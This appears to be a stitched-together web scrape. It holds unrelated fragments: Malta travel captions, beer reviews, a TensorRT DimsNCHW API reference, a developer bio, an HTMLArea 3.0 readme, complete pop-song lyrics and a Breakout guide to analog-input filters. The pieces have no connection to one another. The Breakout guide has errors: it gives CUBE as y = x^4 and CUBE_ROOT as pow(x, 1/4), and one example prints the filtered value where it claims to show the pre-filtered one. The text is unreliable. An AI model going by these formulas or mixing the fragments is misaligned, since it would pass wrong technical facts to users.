This is a map of Malta, located in the Meditterranean Sea.
Spinola Bay, St. Julians, Malta
This is a photo of the arch in Gozo, Malta. It collapsed recently. You may recognise it from the original Clash of the Titans movie or from Game of Thrones
This is one of the gates to Mdina, Malta. You may recognise it as the gate to King's Landing (Game of Thrones)
This is White Rocks. Strong currents here.


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Review: 2019
"One of the best beers I've ever had!"
Review: 2020
"An absolute treat! I Couldn't reccomend it enough."
Review: 2018
Their beer is so full of flavor if it'd have more they'd have to charge you for a meal!
Review: 2020
"A powerhouse in the craft beer community!"


Descriptor for data with one index dimension, one channel dimension and two spatial dimensions.
More...
#include <NvInfer.h>
|
|
int | nbDims |
| | The number of dimensions.
|
| |
|
int | d [MAX_DIMS] |
| | The extent of each dimension.
|
| |
|
TRT_DEPRECATED DimensionType | type [MAX_DIMS] |
| | The type of each dimension.
|
| |
|
static const int | MAX_DIMS = 8 |
| | The maximum number of dimensions supported for a tensor.
|
| |
Descriptor for data with one index dimension, one channel dimension and two spatial dimensions.
- Deprecated:
- DimsNCHW will be removed in a future version of TensorRT, use Dims instead.
◆ DimsNCHW()
| nvinfer1::DimsNCHW::DimsNCHW |
( |
int |
batchSize, |
|
|
int |
channels, |
|
|
int |
height, |
|
|
int |
width |
|
) |
| |
|
inline |
Construct a DimsNCHW given batch size, channel count, height and width.
- Parameters
-
| batchSize | The batch size (commonly denoted N). |
| channels | The channel count. |
| height | The height of the data. |
| width | The width of the data. |
◆ c() [1/2]
| int& nvinfer1::DimsNCHW::c |
( |
| ) |
|
|
inline |
Get the channel count.
- Returns
- The channel count.
◆ c() [2/2]
| int nvinfer1::DimsNCHW::c |
( |
| ) |
const |
|
inline |
Get the channel count.
- Returns
- The channel count.
◆ h() [1/2]
| int& nvinfer1::DimsNCHW::h |
( |
| ) |
|
|
inline |
Get the height.
- Returns
- The height.
◆ h() [2/2]
| int nvinfer1::DimsNCHW::h |
( |
| ) |
const |
|
inline |
Get the height.
- Returns
- The height.
◆ n() [1/2]
| int& nvinfer1::DimsNCHW::n |
( |
| ) |
|
|
inline |
Get the index count.
- Returns
- The index count.
◆ n() [2/2]
| int nvinfer1::DimsNCHW::n |
( |
| ) |
const |
|
inline |
Get the index count.
- Returns
- The index count.
◆ w() [1/2]
| int& nvinfer1::DimsNCHW::w |
( |
| ) |
|
|
inline |
Get the width.
- Returns
- The width.
◆ w() [2/2]
| int nvinfer1::DimsNCHW::w |
( |
| ) |
const |
|
inline |
Get the width.
- Returns
- The width.
The documentation for this class was generated from the following file:


Luke Hostetler
Web developer. JavaScript/CSS3/HTML5
About
Thanks for stopping by.
I've been programming for the web since November of 2013, albeit my first applications were a little more confused and haphazard than they are now.
In June of 2014, I attended The Tech Academy and earned my Microsoft MTA in December of that year.
My development doctrines can be summarized as pragmatic craftsmanship: If it helps me achieve the goal more efficiently, I'm all in.
Back
Snippets
Assorted cuts from around the web, some of them too small to blog about.
All of these target web development using HTML5/CSS3 and modern JavaScript standards. Performance is great, output is greater.
Back


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Did you know that elves don't need to sleep. Instead, they meditate deeply, staying semiconscious, for 4 hours a day. The common word for such meditations is "trance".
Repetition is the mother of learning.
Repetition is the mother of learning.
Large microcredit/leasing COTS
One of the few that are integrated with a Central Reservations System
Enterprise ERP solution
Part of an insurance company software. To be more specific the data collecting, report generating and integration.
To work in a scrum team we must set the agile mindset first. We have to be self-organized and cross-functional. While striving to reach that goal, we learn that only full stack developers can survive out there so that dependency between members of the team is set to its lowest.
Good architecture screams use cases!
Will you reinvent the wheel or just use it?
Azure has proven great so far.
How else will you refactor later?
DevOps makes pipelines look easy.
Try it first, modify it later!


print $_lib['sess']->doctype ?>
| Version: | 3.0 |
| Release: | beta (release notes) |
| Compiled at: | Aug 11, 2003 [21:30] GMT |
| SourceForge page: | http://sf.net/projects/itools-htmlarea/ |
HTMLArea is a free, customizable online editor. It works inside your browser. It uses a non-standard feature implemented in Internet Explorer 5.5 or better for Windows and Mozilla 1.3 or better (any platform), therefore it will only work in one of these browsers.
HTMLArea is copyright InteractiveTools.com and released under a BSD-style license. HTMLArea is created and developed upto version 2.03 by InteractiveTools.com. Version 3.0 developed by Mihai Bazon for InteractiveTools. It contains code sponsored by other companies as well.
Installation is (or should be) easy. You need to unpack the ZIP file in a directory accessible through your webserver. Supposing you unpack in your DocumentRoot and your DocumentRoot is /var/www/html as in a standard RedHat installation, you need to acomplish the following steps: (the example is for a Unix-like operating system)
cd /var/www/html unzip /path/to/archive/HTMLArea-3.0-beta.zip mv HTMLArea-3.0-beta htmlarea find htmlarea/ -type f -exec chmod 644 {} \; find htmlarea/ -type d -exec chmod 755 {} \; find htmlarea/ -name "*.cgi" -exec chmod 755 {} \;
Notes. You may chose to symlink "htmlarea" to "HTMLArea-3.0-beta", in which case your server needs to be configured to "FollowSymLinks". You need to make sure that *.cgi files are interpreted as CGI scripts. If you want to use the SpellChecker plugin you need to have a recent version of Perl installed (I recommend 5.8.0) on the server, and the module Text::Aspell, available from CPAN. More info in "plugins/SpellChecker/readme-tech.html".
About how to setup your pages to use the editor, please read the [outdated yet generally valid] documentation.
HTMLArea has reached version 3.0. As of this version, it supports:
We have a project page at SourceForge.net. There you can also find out how to retrieve the code from CVS, or you can browse the CVS online. We also have a bug system, a patch tracking system and a feature request page.
We invite you to say everything you want about HTMLArea on the forums at InteractiveTools.com. There you should also find the latest news.
Sometimes I post news about the latest developments on my personal homepage.
If it doesn't work, you have several options:
You can contact me directly only if you want to pay me for implementing custom features to HTMLArea. If you want to sponsor these features (that is, allow them to get back into the public HTMLArea distribution) I'll be cheaper. ;-)


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Overprotected
(M. Martin/Rami) |
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I
need time, love, joy
I need space, love I need... me Action! Say hello to the girl that I am You're gonna have to see through my perspective I need to make mistakes just to learn who I am And I don't wanna be so damn protected There must be another way 'Cause I believe in taking chances But who am I to say What a girl is to do God I need some answers... CHORUS What am I to do with my life? (You will find it out don't worry) How am I supposed to know what's right? (You just gotta do it your way) I can't help the way I feel But my life has been so overprotected I tell them what I like, what I want and what I don't But everytime I do, I stand corrected Things that I've been told, I can't believe what I hear about the world I realize I'm overprotected There must be another way 'Cause I believe in taking chances But who am I to say What a girl is to do God I need some answers... CHORUS - repeat I need time... love... I need space I don't need nobody telling me just what I wanna What I what what what I'm gonna do about my destiny I say no, no... nobody's telling me just what I wanna... do do I'm so fed up with people telling me to be someone else but me... CHORUS - repeat I don't need nobody telling me just what I wanna What I what, what, what I'm gonna do about my destiny I say no no... nobody's telling me just what I wanna... do do I'm so fed up with people telling me to be someone else but me CHORUS - repeat |
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Using Filters
One of the more interesting features of analog input in Breakout is the ability to apply filters to the input data. Currently three types of filters are available: Scaler, Convolution and TriggerPoint. We’ll explore each type of filter in detail and later how to combine filters.
Assume for the following sections that we have a sensor connected to analog pin 0 of an I/O board and that we have created an instance of the IOBoard object and named it “board”. Also it will be helpful to read the Analog Input section of the Using The Pin Object guide before proceeding.
Scaler
A Scaler takes a minimum input and output value and scales them to a specified maximum input and output value. This is helpful since some sensors do not return the full range of values from 0.0 to 1.0. For example, a flex sensor may return a value around 0.15 in its non-flexed state and a maximum value of around 0.55 in its flexed state. If you want to scale these values to the range of 0.0 to 1.0, or 0.0 to 180.0 or any other range you can add a Scaler filter to the analog input pin object.
Let’s get a reference to an analog input and add a Scaler filter:
// enable the analog input pin and get a reference to the Pin object board.enableAnalogPin(0); var sensor = board.getAnalogPin(0); // add a new Scaler filter to an analog input pin // scaling the input from 0.15 -> 0.55 to 0.0 -> 1.0 sensor.addFilter(new Scaler(0.15, 0.55, 0.0, 1.0)); sensor.addEventListener(PinEvent.CHANGE, onSensorUpdate); function onSensorUpdate(event) { var sensorPin = event.target; // print the filtered sensor value console.log("sensor value = " + sensorPin.value); // print the pre-filtered sensor value console.log("pre filtered value = " + sensorPin.value); }
In this example the filtered sensor value will range from 0.0 to 1.0 and the pre-filtered value will range from 0.15 to 0.55 (assuming a flex sensor… exact values will vary depending on the sensor).
You can also apply a number of equations to the Scaler filter. This is useful if you have a sensor that outputs a range of values that do not have a linear relationship to the real-world data they represent. For example if you have a temperature sensor that outputs a range of value from 0.2 to 0.7 to represent a temperature scale from 0 to 100 degrees Centigrade, but the relationship of analog value to temperature is not linear then you can apply an equation that may be a better match. The equations are: LINEAR (y = x), SQUARE (y = x * x), SQUARE_ROOT (y = sqrt(x)), CUBE (y = x^4) and CUBE_ROOT (y = pow(x, 1/4). LINEAR is the default equation. To apply any other equation set it as the 5th parameter to the Scaler constructor:
sensor.addFilter(new Scaler(0.15, 0.55, 0.0, 1.0, Scaler.CUBE));
There is also an optional 6th parameter to the Scaler constructor which is a boolean value to enable or disable the limiter. The default value is true. The limiter ensures that the maximum input and output values (3rd and 4th parameters) are not exceeded. In almost all cases this is likely the desired behavior so you generally do not need to specify the 6th parameter when creating a new Scaler.
See Breakout/examples/filters/scaler.html for examples of using the Scaler filter.
Convolution
The Convolution filter is used to smooth input values or apply low-pass or high-pass filtering to the input data. If you notice that analog input values are kind of ‘jittery’ then you can smooth them out a bit by applying a moving average Convolution filter:
sensor.addFilter(new Convolution(Convolution.MOVING_AVERAGE));
You should notice that the filtered data is now less jittery. You can also experiment with the low-pass
Convolution.LPF
and high-pass Convolution.HPF
filters. (Note that the high-pass
filter is not working correctly and will be fixed in an upcoming release).
See Breakout/examples/filters/convolution.html for examples of using the Convolution filter.
TriggerPoint
The TriggerPoint filter is used to set certain values in the range of analog input that can be used to trigger events. For example you can set a trigger point on an analog input for a temperature sensor to indicate when a specific temperature has been reached. Here is an example of setting a single trigger point:
sensor.addFilter(new TriggerPoint([0.7, 0]));
This sets a trigger point at 0.7. So if an analog input value of 0.7 is approximately 68 degrees, then when the temperature increases above 68 degrees the filtered value will be set to 1 and when the temperature decreases below 68 degress the filtered value will be set back to 0.
Notice that you must pass an array of values to the TriggerPoint constructor (hence the [ ] syntax). The second value is used to create a threshold for the trigger point rather than a specific point. For example:
sensor.addFilter(new TriggerPoint([0.7, 0.05]));
For this example it’s easier to assume a sensor like a potentiometer. The filtered value will now change from 0 to 1 when the analog value 0.75 has been reached and when rotating the dial in the opposite direction the filtered value will change from 1 to 0 when the analog value of 0.65 has been reached. This prevents the filtered value from fluttering between 0 and 1 when that analog input value is close to 0.7.
You can also set multiple trigger points so you could set several points for an analog input to indicate when those points have been reached:
sensor.addFilter(new TriggerPoint([[0.25, 0.05], [0.7, 0.05]]));
Note the syntax as it can be a bit tricky if you are not used to it. This time a nested array of 2 sets of values is passed to the TriggerPoint constructor. Notice the outer brackets that enclose the 2 inner sets. Now that we have 2 trigger points, when the analog input value reaches 0.30 (remember 0.25 + 0.05) the filtered value will increase from 0 to 1. Then when the analog input value reaches 0.75 the filtered value will increase from 1 to 2. Here is an example:
// add a new Scaler filter to an analog input pin sensor.addFilter(new TriggerPoint([[0.25, 0.05], [0.7, 0.05]])); sensor.addEventListener(PinEvent.CHANGE, onSensorUpdate); function onSensorUpdate(event) { var sensorPin = event.target; switch (sensorPin.value) { case 1: // do something in response to the 1st trigger point doSomething(); break; case 2: // do something in response to the 2nd trigger point doSomethingElse(); break; } // print the analog input value (this will only be printed // when the trigger point is reached) console.log("pre-filter value = " + sensorPin.preFilterValue); }
You can also add individual trigger points. To do so you need to create an instance of the TriggerPoint object and then add it to the analog input pin:
// create an initial trigger point at 0.3 with a threshold of 0.05 var triggerPoint = new TriggerPoint([0.3, 0.05]); // add the trigger point to a pin sensor.addFilter(triggerPoint); // add another point // when using the addPoint method, you do not need to pass an array of values triggerPoint.addPoint(0.6, 0.05);
Trigger points are now set at 0.3 and 0.6. When you have a reference to a trigger point, you can remove it using the removePoint() method. To remove a point you pass only the point value to the removePoint method:
triggerPoint.removePoint(0.3);
Now only the trigger point at 0.6 remains. You can also remove all points by calling
triggerPoint.removeAllPoints();
. If you need to add or remove points throughout your program,
it’s best to first create a variable to store the TriggerPoint instance and then pass the instance to
the filter as we did in the example above.
See Breakout/examples/filters/triggerpoint.html for examples of using the TriggerPoint filter.
Combining Filters
It is also possible to apply different types of filters to a single pin. The filters will be processed in the order they were applied. Here’s an example of applying both a Convolution and a Scaler filter to an analog input:
board.enableAnalogPin(0); var sensor = board.getAnalogPin(0); // create a new moving average filter to smooth the input values var smooth = new Convolution(Convolution.MOVING_AVERAGE); // create a new linear scaler to scaler the input value range to 0 -> 180 var scale = new Scaler(0, 1, 0, 180, Scaler.LINEAR); // apply the convolution filter sensor.addFilter(smooth); // apply the scaler filter sensor.addFilter(scale);
In this example the convolution filter will be processed, then the scaler filter will be processed.
You can apply more than one filter simultaneously by assigning an array of filters to the Pin’s
filters
property:
var smooth = new Convolution(Convolution.MOVING_AVERAGE); var scale = new Scaler(0, 1, 0, 180, Scaler.LINEAR); // apply both filters sensor.filters = [smooth, scale];
By assigning an array of filters, any existing filters assigned to the pin will be deleted before the new set of filters is applied.
You can also read the filters
property. This is useful, for example if you need to copy the
filters from one pin to another pin. You could accomplish this as follows:
// copy the filters assigned to sensor1 to sensor2 sensor2.filters = sensor1.filters;
Use the removeAllFilters()
method to remove all of the filters from a pin:
// remove all filters assigned to this pin sensor.removeAllFilters();